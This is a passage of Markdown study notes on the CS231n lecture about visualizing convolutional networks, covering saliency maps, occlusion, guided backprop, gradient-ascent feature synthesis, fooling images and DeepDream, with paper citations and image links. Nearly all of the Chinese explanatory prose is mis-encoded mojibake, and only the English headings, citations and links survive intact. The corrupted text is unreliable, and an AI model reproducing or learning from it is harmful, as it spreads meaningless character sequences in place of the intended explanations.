edges๏ผ‰๏ผŒๆฏ”ๅฆ‚ๆ˜Žๆš—็บฟๆกใ€‚ไปŽไธๅŒ็š„่ง’ๅบฆๅ’Œไฝ็ฝฎๆฅ่ง‚ๅฏŸ่พ“ๅ…ฅๅ›พๅƒ๏ผŒๆˆ‘ไปฌๅฏไปฅ็œ‹ๅˆฐๅฎŒๅ…จ็›ธๅ็š„้ขœ่‰ฒ๏ผŒๆฏ”ๅฆ‚็ปฟ่‰ฒๅ’Œ็ฒ‰่‰ฒ๏ผŒๆˆ–่€…ๆฉ™่‰ฒๅ’Œ่“่‰ฒ็ฏ็›ธๅ็š„้ขœ่‰ฒใ€‚\n\n![image-20180906094354703](assets/image-20180906094354703.png)\n\n- Q๏ผšไธบไป€ไนˆ่ฆๅฏ่ง†ๅŒ–ๅท็งฏๆ ธ็š„ๆƒ้‡ๆ˜ฏไธบไบ†่ฎฉไฝ ็Ÿฅ้“ๅท็งฏๆ ธๅœจๅฏปๆ‰พไป€ไนˆ๏ผŸ\n - ่ฟ™ไธช็›ด่ง‰ๆฅๆบไบŽๆจกๆฟๅŒน้…ๅ’Œๅ†…็งฏใ€‚ๆƒณ่ฑกไธ€ไธ‹๏ผŒๅฆ‚ๆžœไฝ ๆœ‰ไบ›ๆจกๆฟๅ‘้‡๏ผŒ็„ถๅŽไฝ ้€š่ฟ‡ๆจกๆฟๅ‘้‡ๅ’Œไธ€ไบ›ไปปๆ„็š„ๆ•ฐๆฎไน‹้—ด็š„็‚น็งฏๅพ—ๅˆฐไบ†ๆ ‡้‡่พ“ๅ‡บใ€‚็„ถๅŽๅฝ“่ฟ™ไธคไธชๅ‘้‡็›ธไบ’ๅŒน้…่พ“ๅ…ฅๅฐ†ๅœจ่Œƒๆ•ฐ็บฆๆŸ็š„ๆกไปถไธ‹่ขซๆœ€ๅคงๅŒ–ใ€‚ๆ‰€ไปฅ๏ผŒไธ็ฎกไฝ ๅœจไป€ไนˆๆ—ถๅ€™่ฟ›่กŒๅ†…็งฏ๏ผŒไฝ ๆญฃๅœจ่ฟ›่กŒๅ†…็งฏ็š„ๅฏน่ฑกๆ˜ฏๅ†…็งฏ็š„็ป“ๆžœๆœ€ๅคงๅŒ–็š„ๅ› ็ด ใ€‚ๆ‰€ไปฅ่ฟ™ๅฐฑๆ˜ฏไธบไป€ไนˆๆˆ‘ไปฌ่ฆๅฏ่ง†ๅŒ–ๆƒ้‡ไปฅๅŠๅฎƒไปฌ่ƒฝๅคŸๆไพ›็ป™ๆˆ‘ไปฌ็ฌฌไธ€ๅท็งฏๅฑ‚ๅฏปๆ‰พ็š„ไธœ่ฅฟ็š„ๅŽŸๅ› ใ€‚ \n\nไธญ้—ดๅฑ‚ๆƒ้‡ๅฏ่ง†ๅŒ–ๅŽ็š„ๅฏ่งฃ้‡Šๆ€งๅฐฑๅทฎๅพˆๅคšไบ†ใ€‚\n\n- ๆ‰€ๆœ‰็š„ๅฏ่ง†ๅŒ–ๅ›พๅƒ๏ผŒๆˆ‘ไปฌ้ƒฝๆŠŠๆƒๅ€ผ่ฎพๅฎšๅœจ 0 ๅˆฐ 255 ่ฟ™ไธชๅŒบ้—ดๅ†…ใ€‚ๅฎž้™…ไธŠ๏ผŒ้‚ฃไบ›ๆƒๅ€ผๅฏไปฅๆ˜ฏๆ— ้™็š„๏ผˆไปปๆ„็š„๏ผ‰๏ผŒๅฎƒไปฌๅฏไปฅๅœจไปปๆ„่Œƒๅ›ดไน‹ๅ†…ใ€‚ไฝ†ๆ˜ฏไธบไบ†ๅพ—ๅˆฐๆฏ”่พƒๅฅฝ็š„ๅฏ่ง†ๅŒ–ๆ•ˆๆžœ๏ผŒๅนถไธ”๏ผˆๆฒกๆœ‰้™ๅฎšๆƒๅ€ผ่Œƒๅ›ด็š„๏ผ‰ๅฏ่ง†ๅŒ–ไนŸๆฒกๆœ‰่€ƒ่™‘ๅˆฐ่ฟ™ไบ›ๅฑ‚็š„ๅ็ฝฎ๏ผŒๆ‰€ไปฅๆˆ‘ไปฌ้œ€่ฆๅฏนๅฎƒไปฌ่ฟ›่กŒ็ผฉๆ”พใ€‚ๆ‰€ไปฅไฝ ไปฌๅบ”่ฏฅ่ฎฐไฝๆจกๅž‹ๅฏ่ง†ๅŒ–็š„ๆฐๅฝ“ๆ—ถๆœบใ€‚\n\n\n\n\n\n## Last Layer\n\n- ๅฏไปฅ่€ƒ่™‘็”จ L2 Nearest neighbors in feature space ๆฅๅฏ่ง†ๅŒ–ใ€‚\n\n- t-sne ้ž็บฟๆ€ง้™็ปดๆ–นๆณ•๏ผˆไธๅŒไบŽไธปๆˆๅˆ†ๅˆ†ๆž PCA๏ผ‰\n\nๆญคๅค„ไธ€็ฏ‡ paper๏ผš\n\n> Van der Maaten and Hinton, โ€œVisualizing Data using t-SNEโ€, JMLR 2008\n\n![image-20180906101211034](assets/image-20180906101211034.png)\n\nSee high-resolution versions at http://cs.stanford.edu/people/karpathy/cnnembed/\n\n\n\n## Visualizing Activations\n\n่™ฝ็„ถไธญ้—ดๅฑ‚็š„ๆƒ้‡ๅฏ่ง†ๅŒ–ๅฏ่งฃ้‡Šๆ€งๅพˆไธๅฅฝใ€‚ไฝ†ๅฎž้™…ไธŠ๏ผŒๅฏ่ง†ๅŒ–ไธญ้—ดๅฑ‚็š„ๆฟ€ๆดปๆ˜ ๅฐ„ๅ›พ๏ผˆactivation maps๏ผ‰๏ผŒๅœจๆŸไบ›ๆƒ…ๅ†ตไธ‹ๆ˜ฏๅ…ทๅค‡ๅฏ่งฃ้‡Šๆ€ง็š„ใ€‚\n\nๆญคๅค„ไธ€็ฏ‡ paper๏ผš\n\n> Yosinski et al, โ€œUnderstanding Neural Networks Through Deep Visualizationโ€, ICML DL Workshop 2014\n>\n> http://yosinski.com/deepvis\n\n![image-20180906103404102](assets/image-20180906103404102.png)\n\n![ezgif.com-video-to-gif-2](assets/ezgif.com-video-to-gif-2.gif)\n\n\n\n## Maximally Activation Patches\n\n- ๅฏ่ง†ๅŒ–่พ“ๅ…ฅๅ›พๅƒไธญไป€ไนˆ็ฑปๅž‹็š„ๅ›พๅƒๅ—ๅฏไปฅๆœ€ๅคง้™ๅบฆๅœฐๆฟ€ๆดป๏ผŸ\n\nๆญคๅค„ไธ€็ฏ‡ paper๏ผš\n\n> Springenberg et al, โ€œStriving for Simplicity: The All Convolutional Netโ€, ICLR Workshop 2015\n\n้€‰ๅ–ๅท็งฏๅฑ‚ไธญ็š„ๆŸไธช้€š้“ใ€‚้€š่ฟ‡ๅท็งฏ็ฅž็ป็ฝ‘็ปœ่ฟ่กŒๅพˆๅคš็š„ๅ›พๅƒ๏ผŒๅฏนไบŽๆฏไธ€ไธชๅ›พๅƒ๏ผŒ่ฎฐๅฝ•ๅฎƒไปฌ็š„ๅท็งฏ็‰นๅพ๏ผŒ็„ถๅŽๅฏไปฅ่ง‚ๅฏŸๅˆฐ้‚ฃไธช็‰นๅพๆ˜ ๅฐ„ๅ›พ็š„้ƒจๅˆ†๏ผŒๅทฒ็ป่ขซๆˆ‘ไปฌๅ›พๅƒ็š„ๆ•ฐๆฎ้›†ๆœ€ๅคงๅœฐๆฟ€ๆดปใ€‚ๅ› ไธบ่ฟ™ๆ˜ฏๅท็งฏๅฑ‚๏ผŒๅท็งฏๅฑ‚ไธญ็š„ๆฏไธช็ฅž็ปๅ…ƒๅœจ่พ“ๅ…ฅ้ƒจๅˆ†้ƒฝๆœ‰ไธ€ไบ›ๅฐ็š„ๆ„Ÿๅ—้‡Ž๏ผŒๆฏไธช็ฅž็ปๅ…ƒ็š„๏ผˆ็ฎก่พ–้ƒจๅˆ†๏ผ‰ๅนถไธๆ˜ฏๆ•ดไธชๅ›พๅƒ๏ผŒๅฎƒไปฌๅช้’ˆๅฏนไบŽ่ฟ™ไธชๅ›พๅƒ็š„ๅญ้›†ๅˆ๏ผŒ็„ถๅŽๆˆ‘ไปฌ่ฆๅš็š„ๆ˜ฏ๏ผŒไปŽ่ฟ™ไธชๅบžๅคง็š„ๅ›พๅƒๆ•ฐๆฎ้›†ไธญ๏ผŒๅฏ่ง†ๅŒ–ๆฅ่‡ช่ฏฅ็‰น้กถๅฑ‚็‰นๅฎš็‰นๅพ็š„ๆœ€ๅคงๆฟ€ๆดป็š„ๅ›พๅƒๅ—ใ€‚็„ถๅŽๆˆ‘ไปฌๅฏไปฅๆ นๆฎ่ฟ™ไบ›ๆฟ€ๆดปๅ—๏ผŒๅœจ็‰นๅฎšๅฑ‚็š„ๆฟ€ๆดป็จ‹ๅบฆๆฅ่งฃๅ†ณ่ฟ™ไธช้—ฎ้ข˜ใ€‚\n\n![image-20180906110005206](assets/image-20180906110005206.png)\n\n\n\n## Which pixels matter: Saliency vs Occlusion\n\n- ๅผ„ๆธ…ๆฅš็ฉถ็ซŸๆ˜ฏ่พ“ๅ…ฅๅ›พๅƒ็š„ๅ“ชไธช้ƒจๅˆ†๏ผŒๅฏผ่‡ด็ฅž็ป็ฝ‘็ปœๅšๅ‡บๅˆ†็ฑป็š„ๅ†ณๅฎšใ€‚\n 1. ๆŽ’้™คๅฎž้ชŒ๏ผ๏ผˆOcclusion๏ผ‰\n\n ๆญคๅค„ไธ€็ฏ‡ paper๏ผš\n\n\t> Zeiler and Fergus, โ€œVisualizing and Understanding Convolutional Networksโ€, ECCV 2014\n\n![image-20180906110703406](assets/image-20180906110703406.png)\n\n\n\n\n\n2. ๆ˜พ่‘—ๅ›พ๏ผˆSaliency๏ผ‰\n\n > Simonyan, Vedaldi, and Zisserman, โ€œDeep Inside Convolutional Networks: Visualising Image Classification Models and Saliency Mapsโ€, ICLR Workshop 2014.\n\n ่ฎก็ฎ—็›ธๅฏนไบŽ่พ“ๅ…ฅๅ›พๅƒไธญๅ„ๅƒ็ด ๅฏนๅบ”็š„็ฑป้ข„ๆต‹ๅ€ผ็š„ๆขฏๅบฆใ€‚ๅœจไธ€้˜ถ่ฟ‘ไผผๆ„ไน‰ไธŠ๏ผŒๅฏนไบŽๆฏไธช่พ“ๅ…ฅๅ›พๅƒ็š„ๆฏไธชๅƒ็ด ๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌ่ฟ›่กŒๅฐๅฐ็š„ๆ‰ฐๅŠจ๏ผŒ้‚ฃไนˆ็›ธๅบ”็ฑป็š„ๅˆ†็ฑปๅˆ†ๅ€ผไผšๆœ‰ๅคšๅคง็š„ๅ˜ๅŒ–ใ€‚่ฟ™ๆ˜ฏๅฆไธ€็ง็”จๆฅ่งฃๅ†ณ่พ“ๅ…ฅๅ›พๅƒ็š„ๅ“ชไธช้ƒจๅˆ†็š„ๅƒ็ด ็”จไบŽๅˆ†็ฑปใ€‚\n\n ![image-20180906120619768](assets/image-20180906120619768.png)\n\n ![image-20180906120629403](assets/image-20180906120629403.png)\n\n\n\n## Intermediate Features via (guided) backprop\n\nๅผ•ๅฏผๅผๅๅ‘ไผ ๆ’ญ\n\n่ฟ™้‡Œๆœ‰ไธค็ฏ‡ papers๏ผš\n\n> Zeiler and Fergus, โ€œVisualizing and Understanding Convolutional Networksโ€, ECCV 2014\n> Springenberg et al, โ€œStriving for Simplicity: The All Convolutional Netโ€, ICLR Workshop 2015\n\n![image-20180906120954176](assets/image-20180906120954176.png)\n\n\n\n![image-20180906121127951](assets/image-20180906121127951.png)\n\n![image-20180906121153534](assets/image-20180906121153534.png)\n\n- ๅ…ณไบŽๅผ•ๅฏผๅผๅๅ‘ไผ ๆ’ญๆˆ–่ฎก็ฎ—ๆ˜พ่‘—ๅ›พ็š„ๆ„่ง้žๅธธๆœ‰่ถฃ็š„ไบ‹ๆƒ…ๆ˜ฏ๏ผšๆ€ปๆœ‰ไธ€ไธชๅ›บๅฎš่พ“ๅ…ฅๅ›พๅƒ็š„ๅ‡ฝๆ•ฐ๏ผŒ่ฟ™ไธชๅ‡ฝๆ•ฐๅ‘Š่ฏ‰ๆˆ‘ไปฌๅฏนไบŽไธ€ไธชๅ›บๅฎš่พ“ๅ…ฅ็š„ๅ›พๅƒ๏ผŒ่พ“ๅ…ฅๅ›พๅƒ็š„ๅ“ชไธชๅƒ็ด ๆˆ–ๅ“ชไธช้ƒจๅˆ†ๅฝฑๅ“ไบ†็ฅž็ปๅ…ƒ็š„ๅˆ†ๅ€ผใ€‚\n\n\n\n## Visualizing CNN features: Gradient Ascent\n\nๅฆไธ€ไธชไฝ ๅฏ่ƒฝไผš้—ฎ็š„้—ฎ้ข˜ๆ˜ฏ๏ผšๅฆ‚ๆžœๆˆ‘ไปฌๅœจไธ€ไบ›่พ“ๅ…ฅๅ›พๅƒไธŠ็งป้™ค่ฟ™็งไพ่ต–ๆ€ง๏ผŒ้‚ฃไป€ไนˆ็ฑปๅž‹็š„่พ“ๅ…ฅไผšๆฟ€ๆดป่ฟ™ไธช็ฅž็ปๅ…ƒใ€‚\n\nๆˆ‘ไปฌๅฏไปฅ้€š่ฟ‡**ๆขฏๅบฆไธŠๅ‡๏ผˆGradient Ascent๏ผ‰**็ฎ—ๆณ•ๆฅ่งฃๅ†ณ่ฟ™ไธช้—ฎ้ข˜ใ€‚่ฎฐไฝๆˆ‘ไปฌๆ€ปๆ˜ฏๅœจ่ฎญ็ปƒๅท็งฏ็ฅž็ป็ฝ‘็ปœๆ—ถ๏ผŒไฝฟ็”จๆขฏๅบฆไธ‹้™ๆฅไฝฟ๏ผˆๅ‡ฝๆ•ฐ๏ผ‰ๆŸๅคฑๆœ€ๅฐๅŒ–ใ€‚่€Œ็Žฐๅœจ๏ผŒๆˆ‘ไปฌๆƒณ่ฆๅ›บๅฎš่ฎญ็ปƒ็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„ๆƒ้‡๏ผŒๅนถไธ”ๅœจๅ›พๅƒ็š„ๅƒ็ด ไธŠๆ‰ง่กŒๆขฏๅบฆไธŠๅ‡ๆฅๅˆๆˆๅ›พๅƒ๏ผŒไปฅๅฐ่ฏ•ๅ’Œๆœ€ๅคงๅŒ–ๆŸไบ›ไธญ้—ด็ฅž็ปๅ…ƒๅ’Œ็ฑป็š„ๅˆ†ๅ€ผใ€‚\n\nๅœจๆ‰ง่กŒๆขฏๅบฆไธŠๅ‡็š„่ฟ‡็จ‹ไธญ๏ผŒๆˆ‘ไปฌไธๅ†ไผ˜ๅŒ–็ฅž็ป็ฝ‘่ทฏไธญไฟๆŒไธๅ˜็š„ๆƒ้‡ใ€‚็›ธๅ๏ผŒๆˆ‘ไปฌ่ฏ•ๅ›พๆ”นๅ˜ไธ€ไบ›ๅ›พๅƒ็š„ๅƒ็ด ๏ผŒไฝฟ่ฟ™ไธช็ฅž็ปๅ…ƒ็š„ๅ€ผๆˆ–่ฟ™ไธช็ฑป็š„ๅˆ†ๅ€ผๆœ€ๅคงๅŒ–ใ€‚้™คๆญคไน‹ๅค–๏ผŒๆˆ‘ไปฌ้œ€่ฆไธ€ไบ›ๆญฃๅˆ™้กนใ€‚ๅœจ็œ‹ๅˆฐๆญฃๅˆ™้กนๅฐ่ฏ•้˜ปๆญข็ฅž็ป็ฝ‘็ปœๆƒ้‡่ฟ‡ๆ‹Ÿๅˆ่ฎญ็ปƒๆ•ฐๆฎไน‹ๅ‰๏ผŒๆˆ‘ไปฌ้œ€่ฆ็ฑปไผผ็š„ไธœ่ฅฟๆฅ้˜ฒๆญขๆˆ‘ไปฌ็”Ÿๆˆ็š„ๅ›พๅƒ่ฟ‡ๆ‹Ÿๅˆ็‰นๅฎš็ฝ‘็ปœ็š„็‰นๆ€งใ€‚ๆ‰€ไปฅ๏ผŒ่ฟ™้‡Œๆˆ‘ไปฌ็ปๅธธไผšๅŠ ๅ…ฅไธ€ไบ›ๆญฃๅˆ™้กน๏ผŒๆˆ‘ไปฌ้œ€่ฆๅ…ทๅค‡ไธคไธช็‰นๅฎšๅฑžๆ€ง็š„็”Ÿๆˆๅ›พๅƒ๏ผš\n\n1. ๆˆ‘ไปฌๆƒณ่ฆๆœ€ๅคง็จ‹ๅบฆๅœฐๆฟ€ๆดปไธ€ไบ›ๅˆ†ๅ€ผๆˆ–็ฅž็ปๅ…ƒ็š„ๅ€ผ๏ผ›\n2. ๆˆ‘ไปฌๅธŒๆœ›่ฟ™ไธช็”Ÿๆˆๅ›พๅƒ็œ‹่ตทๆฅๆ˜ฏ่‡ช็„ถ็š„๏ผŒๅณๆˆ‘ไปฌๆƒณ่ฆ็”Ÿๆˆๅ›พๅƒๅ…ทๅค‡ๅœจ่‡ช็„ถๅ›พๅƒไธญ็š„็ปŸ่ฎกๆ•ฐๆฎใ€‚่ฟ™ไบ›ไธป็ฎก็š„ๆญฃๅˆ™้กนๆ˜ฏๅผบๅˆถ็”Ÿๆˆๅ›พๅƒ็œ‹่ตทๆฅๅƒๆ˜ฏ่‡ช็„ถๅ›พๅƒ็š„ไธœ่ฅฟใ€‚\n\n![](https://i.loli.net/2018/09/06/5b90ab8865c42.png)\n\nๆญฅ้ชค้€šๅธธๆฅ่ฏดๅพˆ็ฎ€ๅ•๏ผš\n\n![image-20180906122928554](assets/image-20180906122928554.png)\n\n- Q๏ผšๅฆ‚ๆžœไธไฝฟ็”จไปปไฝ•็š„ๆญฃๅˆ™ๅŒ–ไผšๆ€Žๆ ท๏ผŸ\n - ้‚ฃไนˆไฝ ๅฐ†ๅพˆๆœ‰ๅฏ่ƒฝๅพ—ๅˆฐๅˆ†ๅ€ผๆœ€ๅคงๅŒ–ๅนถไธ”ๅทฒ็ปๅˆ†ๅฅฝ็š„็ฑป๏ผŒไฝ†ๆ˜ฏ้€šๅธธๅฎƒ็œ‹่ตทๆฅไธๅƒไปปไฝ•ไบ‹็‰ฉ๏ผŒๅฐฑๅƒ้šๆœบๅ™ชๅฃฐใ€‚\n\n![image-20180906123941510](assets/image-20180906123941510.png)\n\nๆœ‰ไบบๅขžๅŠ ไบ†ไธ€ไบ›ไปคไบบๅฐ่ฑกๆทฑๅˆป็š„ๆญฃๅˆ™ๅŒ–๏ผŒๅœจไธ‹้ข็š„ paper ไธญ๏ผš\n\n> Yosinski et al, โ€œUnderstanding Neural Networks Through Deep Visualizationโ€, ICML DL Workshop 2014.\n\n้™คไบ† L2 ่Œƒๆ•ฐ็บฆๆŸไน‹ๅค–ใ€‚ๅฆๅค–ๆˆ‘ไปฌ่ฟ˜ๅฎšไน‰ๅœจไผ˜ๅŒ–่ฟ‡็จ‹ไธญ๏ผŒๅฏนๅ›พๅƒ่ฟ›่กŒ้ซ˜้€Ÿๆจก็ณŠๅค„็†๏ผŒๆˆ‘ไปฌๅŒๆ—ถไนŸๅฐ†ไธ€ไบ›ไฝŽๆขฏๅบฆ็š„ๅฐ็š„ๅƒ็ด ๅ€ผไฟฎๆ”นไธบ 0ใ€‚ๅฏไปฅ็œ‹ๅˆฐ่ฟ™ๆ˜ฏไธ€ไธชๆŠ•ๅฐ„ๆขฏๅบฆไธŠๅ‡็ฎ—ๆณ•๏ผŒๆˆ‘ไปฌๅฎšๆœŸๆŠ•ๅฐ„ๅ…ทๅค‡่‰ฏๅฅฝๅฑžๆ€ง็š„็”Ÿๆˆๅ›พๅƒๅˆฐๆ›ดๅฅฝ็š„ๅ›พๅƒ้›†ไธญใ€‚ไธพไธชไพ‹ๅญ๏ผŒ่ฟ›่กŒ้ซ˜ๆ–ฏๆจก็ณŠๅค„็†ๅŽ๏ผŒๅ›พๅƒ่Žทๅพ—็‰นๆฎŠๅนณๆป‘ๆ€งใ€‚ๆ‰€ไปฅ๏ผŒๅฏนๅ›พๅƒ่ฟ›่กŒ้ซ˜ๆ–ฏๆจก็ณŠๅค„็†ๅŽ๏ผŒๆ›ดๅฎนๆ˜“่Žทๅพ—ๆธ…ๆ™ฐ็š„ๅ›พๅƒใ€‚\n\n![](https://i.loli.net/2018/09/06/5b90afb2e9430.png)\n\n้™คไบ†ๅฏนๆœ€ๅŽๅˆ†ๅ€ผ๏ผŒๆˆ‘ไปฌไนŸๅฏไปฅๆœ€ๅคงๅŒ–ๆŸไธชไธญ้—ดๅฑ‚็š„ๅ…ถไธญไธ€ไธช็ฅž็ปๅ…ƒ็š„ๅˆ†ๅ€ผ๏ผš\n\n![image-20180906124622572](assets/image-20180906124622572.png)\n\n\n\nไธ‹้ขๆ˜ฏไธ€ไธช้’ˆๅฏนๆ€ง่งฃๅ†ณๅคšๆจกๆ€้—ฎ้ข˜็š„ paper๏ผš\n\n> Nguyen et al, โ€œMultifaceted Feature Visualization: Uncovering the Different Types of Features Learned By Each Neuron in Deep Neural Networksโ€, ICML Visualization for Deep Learning Workshop 2016.\n\nๅœจ่ฟ™็ฏ‡่ฎบๆ–‡ไธญ๏ผŒไป–ไปฌๅฐ่ฏ•ๅœจไผ˜ๅŒ–็š„่ฟ‡็จ‹ไธญ่€ƒ่™‘ๅคšๆจกๆ€้—ฎ้ข˜๏ผŒๅณๅฏนๆฏไธ€ไธช็ฑป่ฟ่กŒ่š็ฑป็ฎ—ๆณ•ไปฅไฝฟ่ฟ™ไบ›็ฑปๅˆ†ๆˆไธๅŒ็š„ๆจกๅž‹๏ผŒ็„ถๅŽ็”จๆŽฅ่ฟ‘่ฟ™ไบ›ๆจกๅž‹ๅ…ถไธญไน‹ไธ€็š„็ฑป่ฟ›่กŒๅˆๅง‹ๅŒ–ใ€‚้‚ฃไนˆๅฝ“ไฝ ่ฟ™ไนˆๅš็š„ไบ‹ๆƒ…๏ผŒไฝ ๅฐฑๅฏ่ƒฝ่€ƒ่™‘ๅคšๆจกๆ€ๅฝขๅผใ€‚\n\n![](https://i.loli.net/2018/09/06/5b90b2b08a8e1.png)\n\n![image-20180906125530125](assets/image-20180906125530125.png)\n\n\n\nไฝ ่ฟ˜ๅฏไปฅๆทปๅŠ ๆ›ดๅŠ ๅผบๅคง็š„ๅ…ˆ้ชŒๅ›พๅƒ๏ผŒ็„ถๅŽ็”Ÿๆˆ้žๅธธๆผ‚ไบฎ็š„ๅ›พๅƒใ€‚่ฟ™ไบ›็”Ÿๆˆๅ›พๅƒ้ƒฝๆ˜ฏ้€š่ฟ‡ๆœ€ๅคงๅŒ–ไธ€ไบ›ๅ›พๅƒ็ฑป็š„ๅˆ†ๅ€ผๅพ—ๅˆฐ็š„ใ€‚ไธ€่ˆฌ็š„ๆƒณๆณ•ๆ˜ฏ๏ผŒๅฐ่ฏ•ไผ˜ๅŒ–ๅ›พๅƒๅœจ FC6 ๆฝœๅœจ็ฉบ้—ดไธญ็š„่กจ็คบ๏ผŒ่€Œไธๆ˜ฏ็›ดๆŽฅไผ˜ๅŒ–่พ“ๅ…ฅๅ›พๅƒ็š„ๅƒ็ด ใ€‚ไป–ไปฌ้œ€่ฆไฝฟ็”จ็‰นๅพๅๆผ”็ฝ‘็ปœใ€‚\n\nๅคš่ฏดๆ— ็›Š๏ผŒ็ป™ไฝ  paper๏ผš\n\n> Nguyen et al, โ€œSynthesizing the preferred inputs for neurons in neural networks via deep generator networks,โ€ NIPS 2016\n\n้‡็‚นๆ˜ฏ๏ผšๅฝ“ไฝ ๅผ€ๅง‹ๅœจ่‡ช็„ถๅ›พๅƒๅปบๆจกๆ—ถ๏ผŒๆทปๅŠ ๅ…ˆ้ชŒๅ›พๅƒ๏ผŒไฝ ๆœ€็ปˆๅฏไปฅๅพ—ๅˆฐไธ€ไบ›้žๅธธ็œŸๅฎž็š„ๅ›พๅƒ๏ผŒๅฎƒไปฌ่ฎฉไฝ ไบ†่งฃๅˆฐ็ฅž็ป็ฝ‘็ปœ็ฉถ็ซŸๅœจๅฏปๆ‰พไป€ไนˆ๏ผˆ็‰นๅพ๏ผ‰ใ€‚\n\n\n\n\n\n## Fooling Images / Adversarial Examples\n\n1. Start from an arbitrary image \n2. Pick an arbitrary class \n3. Modify the image to maximize the class \n4. Repeat until network is fooled \n\nๅคš่ฏดๆ— ็›Š๏ผŒ่‡ชๅทฑ็œ‹ Goodfellow ็š„่ฎฒๅบง๏ผš\n\n> Check out [Ian Goodfellowโ€™s lecture](https://www.youtube.com/watch?v=CIfsB_EYsVI) from last year ๏ผˆ[Bilibili](https://www.bilibili.com/video/av17204303/?p=35&spm_id_from=333.788.multi_page.5)๏ผ‰\n\n\n\n- Q๏ผšไบ†่งฃไธญ้—ด็ฅž็ปๅ…ƒ๏ผŒๅฏนๆˆ‘ไปฌไบ†่งฃๆœ€็ปˆ็š„ๅˆ†็ฑปๆœ‰ไป€ไนˆๅธฎๅŠฉ๏ผŸ\n - ๅฎž้™…ไธŠ๏ผŒ่ฏ•ๅ›พๅฏนไธญ้—ด็ฅž็ปๅ…ƒ่ฟ›่กŒๅฏ่ง†ๅŒ–ๆ˜ฏๆทฑๅบฆๅญฆไน ้‡Œๅค‡ๅ—ๆ‰น่ฏ„็š„้ข†ๅŸŸใ€‚ๆฏ”ๅฆ‚๏ผŒไฝ ๆœ‰ไธ€ไธชๅคง็š„้ป‘็›’ๅญ็ฅž็ป็ฝ‘็ปœ๏ผŒไฝ ้€š่ฟ‡ๆขฏๅบฆไธŠๅ‡ๆฅ่ฎญ็ปƒๅฎƒๅนถไธ”ๅพ—ๅˆฐไบ†ไธ€ไธชๅพˆๅฅฝ็š„ๅ€ผ๏ผŒ้‚ฃๅพˆๅฅฝ๏ผŒไฝ†ๆ˜ฏๆˆ‘ไปฌๅนถไธไฟกไปป่ฟ™ไธช็ฅž็ป็ฝ‘็ปœ๏ผŒๅ› ไธบๆˆ‘ไปฌไฝœไธบไบบ็ฑปๅนถไธ็†่งฃ๏ผŒๅฎƒๆ˜ฏๅฆ‚ไฝ•ไฝœๅ‡บๅ†ณ็ญ–็š„ใ€‚ๅพˆๅคš่ฟ™็ง็ฑปๅž‹็š„ๅฏ่ง†ๅŒ–ๆŠ€ๆœฏ่ขซๅผ€ๅ‘ๆฅ่ฏ•ๅ›พไปŽไบบ็ฑป็š„่ง’ๅบฆๆฅ็†่งฃๅนถ่งฃๅ†ณ๏ผŒๆฏ”ๅฆ‚ไธบไป€ไนˆ่ฟ™ไบ›็ฝ‘็ปœๅˆ†็ฑป็š„็ฑปๅˆซๅœจ้€ๆธๅœฐๅขžๅคš็š„้—ฎ้ข˜๏ผŒๅ› ไธบๅฆ‚ๆžœๅฐ†ๆทฑๅฑ‚็ฅž็ป็ฝ‘็ปœไธŽๅ…ถไป–ๆœบๅ™จ่ฟ่กŒๆŠ€ๆœฏ่ฟ›่กŒๅฏนๆฏ”๏ผŒ๏ผˆไฝ ไผšๅ‘็Žฐ๏ผ‰็บฟๆ€งๆจกๅž‹ๆ›ดๅฎนๆ˜“่ขซ่งฃ้‡Š๏ผŒๅ› ไธบไฝ ๅฏไปฅ่ง‚ๅฏŸๆƒๅ€ผๅนถไธ”็†่งฃๆฏไธช็‰นๅพๅฏนๅ†ณ็ญ–็š„ๅฝฑๅ“็จ‹ๅบฆ๏ผŒๆฏ”ๅฆ‚้šๆœบๆฃฎๆž—ๆˆ–ๅ†ณ็ญ–ๆ ‘๏ผŒไธ€ไบ›ๅ…ถไป–็š„ๆœบๅ™จๅญฆไน ๆจกๅž‹ๅฏไปฅ้€š่ฟ‡ๅฎƒไปฌๆœฌ่บซ็š„็‰นๆ€ง๏ผŒๅ˜ๅพ—ๆฏ”่ฟ™ไธช้ป‘็›’ๅญๅท็งฏ็ฅž็ป็ฝ‘็ปœๆ›ดๅ…ทๆœ‰ๅฏ่งฃ้‡Šๆ€งใ€‚ๅพˆๅคšๅ›žๅบ”่ฟ™็ง่ดจ็–‘็š„ๅฃฐ้Ÿณ่ฎคไธบ๏ผŒ่™ฝ็„ถๅฎƒไปฌๆ˜ฏๅคงๅž‹ๅคๆ‚็š„ๆจกๅž‹๏ผŒไฝ†ๆ˜ฏๅฎƒไปฌไป็„ถๅœจๅšไธ€ไบ›ๆœ‰่ถฃ็š„ๅ…ทๅค‡ๅฏ่งฃ้‡Šๆ€ง็š„ไบ‹ๆƒ…๏ผŒๅฎƒไปฌไธๆ˜ฏๅฎŒๅ…จ้šๆ„ๅœฐๅˆ†็ฑปไบ‹็‰ฉ๏ผŒ็›ธๅ๏ผŒๅฎƒไปฌๅœจๅšๆœ‰ๆ„ไน‰็š„ไบ‹ๆƒ…ใ€‚\n\n\n\n## DeepDream: Amplify existing features\n\nๅฆไธ€็งๅŸบไบŽๆขฏๅบฆ็š„ๅ›พๅƒไผ˜ๅŒ–ๆ˜ฏ DeepDreamใ€‚ๅชๆ˜ฏ for funใ€‚ใ€‚ใ€‚ใ€‚ใ€‚\n\nๆˆ‘ไปฌๅš็š„ๆ˜ฏๆๅ–ๆˆ‘ไปฌ็š„่พ“ๅ…ฅๅ›พๅƒ๏ผŒ้€š่ฟ‡็ฅž็ป็ฝ‘็ปœ่ฟ่กŒๅˆฐๆŸไธ€ๅฑ‚๏ผŒๆŽฅ็€่ฟ›่กŒๅๅ‘ไผ ๆ’ญ๏ผŒๅนถไธ”่ฎพ็ฝฎ่ฏฅๅฑ‚็š„ๆขฏๅบฆ็ญ‰ไบŽๆฟ€ๆดปๅ€ผ๏ผŒ็„ถๅŽๅๅ‘ไผ ๆ’ญๅˆฐๅ›พๅƒ๏ผŒๅนถไธๆ–ญๅœฐๆ›ดๆ–ฐๅ›พๅƒใ€‚\n\n![](https://i.loli.net/2018/09/07/5b91d25bd6ef3.png)\n\nๅ…ณไบŽ๏ผˆไธŠ่ฟฐๆญฅ้ชค็š„๏ผ‰่งฃ้‡Šๆ˜ฏ่ฏ•ๅ›พๆ”พๅคง็ฅž็ป็ฝ‘็ปœๅœจ่ฟ™ๅผ ๅ›พๅƒไธญๆฃ€ๆต‹ๅˆฐ็š„็‰นๅพ๏ผŒๅ› ไธบๆ— ่ฎบ้‚ฃๅฑ‚ไธŠๅญ˜ๅœจไป€ไนˆๆ 